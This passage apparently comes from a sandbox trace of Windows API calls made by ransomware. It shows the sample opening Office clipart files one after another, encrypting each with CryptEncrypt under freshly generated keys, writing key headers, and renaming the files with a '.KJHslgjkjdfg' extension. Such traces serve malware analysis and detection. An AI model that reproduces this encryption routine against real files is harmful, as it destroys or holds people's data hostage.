[0192.468] CloseHandle (hObject=0x130) returned 1 [0192.468] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0192.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.468] GetProcessHeap () returned 0x2ef0000 [0192.469] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.469] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.469] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.471] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.471] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.471] GetProcessHeap () returned 0x2ef0000 [0192.471] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.471] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.471] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.471] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.471] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.471] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.471] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.472] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.472] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.472] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.472] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x728, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x728, lpOverlapped=0x0) returned 1 [0192.472] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x730, dwBufLen=0x730 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x730) returned 1 [0192.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.472] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x730, lpOverlapped=0x0) returned 1 [0192.472] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.472] SetEndOfFile (hFile=0x130) returned 1 [0192.474] GetProcessHeap () returned 0x2ef0000 [0192.474] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.474] GetProcessHeap () returned 0x2ef0000 [0192.474] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.474] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.kjhslgjkjdfg")) returned 1 [0192.479] CloseHandle (hObject=0x130) returned 1 [0192.479] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0192.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.483] GetProcessHeap () returned 0x2ef0000 [0192.483] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.483] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.483] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.483] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.485] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.485] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.485] GetProcessHeap () returned 0x2ef0000 [0192.485] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.485] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.485] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.485] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.485] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.485] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.485] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.486] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.486] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.486] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.486] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.486] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x66dc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x66dc, lpOverlapped=0x0) returned 1 [0192.489] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x66e0, dwBufLen=0x66e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x66e0) returned 1 [0192.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.489] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x66e0, lpOverlapped=0x0) returned 1 [0192.489] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x67b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.489] SetEndOfFile (hFile=0x130) returned 1 [0192.492] GetProcessHeap () returned 0x2ef0000 [0192.492] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.492] GetProcessHeap () returned 0x2ef0000 [0192.492] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.kjhslgjkjdfg")) returned 1 [0192.496] CloseHandle (hObject=0x130) returned 1 [0192.496] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0192.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.497] GetProcessHeap () returned 0x2ef0000 [0192.497] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.497] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.497] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0192.517] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.517] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.517] GetProcessHeap () returned 0x2ef0000 [0192.517] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.517] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.517] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.517] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.518] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.518] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.518] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.518] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.518] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.518] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.518] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.518] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.518] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6cd2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6cd2, lpOverlapped=0x0) returned 1 [0192.520] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6ce0, dwBufLen=0x6ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6ce0) returned 1 [0192.520] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.520] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6ce0, lpOverlapped=0x0) returned 1 [0192.520] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.520] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.520] SetEndOfFile (hFile=0x130) returned 1 [0192.523] GetProcessHeap () returned 0x2ef0000 [0192.523] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.523] GetProcessHeap () returned 0x2ef0000 [0192.524] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.524] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.kjhslgjkjdfg")) returned 1 [0192.531] CloseHandle (hObject=0x130) returned 1 [0192.531] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0192.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.532] GetProcessHeap () returned 0x2ef0000 [0192.532] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.532] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.532] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.532] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0192.535] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.535] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.535] GetProcessHeap () returned 0x2ef0000 [0192.535] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.535] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.535] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.535] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.535] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.535] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.535] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.535] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.535] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.535] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.535] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xea2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xea2, lpOverlapped=0x0) returned 1 [0192.536] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xeb0, dwBufLen=0xeb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xeb0) returned 1 [0192.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.536] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xeb0, lpOverlapped=0x0) returned 1 [0192.536] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.536] SetEndOfFile (hFile=0x130) returned 1 [0192.538] GetProcessHeap () returned 0x2ef0000 [0192.538] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.538] GetProcessHeap () returned 0x2ef0000 [0192.538] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.kjhslgjkjdfg")) returned 1 [0192.554] CloseHandle (hObject=0x130) returned 1 [0192.554] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0192.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.555] GetProcessHeap () returned 